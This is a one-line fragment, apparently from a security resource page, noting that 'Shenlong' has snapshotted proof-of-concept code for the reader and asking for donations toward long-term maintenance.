    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.